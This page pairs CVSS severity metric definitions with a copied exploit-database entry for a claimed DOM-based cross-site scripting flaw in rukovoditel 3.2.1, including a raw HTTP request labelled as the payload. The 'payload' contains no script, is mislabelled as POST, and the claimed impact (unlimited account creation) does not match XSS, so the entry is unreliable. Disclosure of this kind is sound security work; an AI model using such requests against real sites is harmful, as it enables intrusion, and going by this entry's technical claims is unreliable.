The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: rukovoditel 3.2.1 Cross Site Scripting
## Title: rukovoditel 3.2.1 - Cross-Site Scripting (XSS)
## Author: nu11secur1ty
## Date: 11.03.2022
## Vendor: https://www.rukovoditel.net/
## Software: https://sourceforge.net/projects/rukovoditel/files/rukovoditel_3.2.1.zip/download
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rukovoditel.net/2022/rukovoditel-3.2.1
## Description:
The application is vulnerable to DOM-based cross-site scripting
attacks. Data is read from `location.hash` and passed to
`jQuery.parseHTML`.
The attacker can use this vulnerability to create an unlimited number
of accounts on this system until it crashed.
## STATUS: HIGH Vulnerability - CRITICAL
[+] Payload:
```POST
GET /rukovoditel/index.php?module=users/restore_password HTTP/1.1
Host: pwnedhost.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63
Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: sid=jf2mf72r2kfakhhnn6evgusrcg;
cookie_test=please_accept_for_session;
app_login_redirect_to=module%3Ddashboard%2F
Upgrade-Insecure-Requests: 1
Referer: http://pwnedhost.com/rukovoditel/index.php?module=users/login
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rukovoditel.net/2022/rukovoditel-3.2.1)
## Proof and Exploit:
[href](https://streamable.com/i1qmfk)
## Time spent
`3:45`
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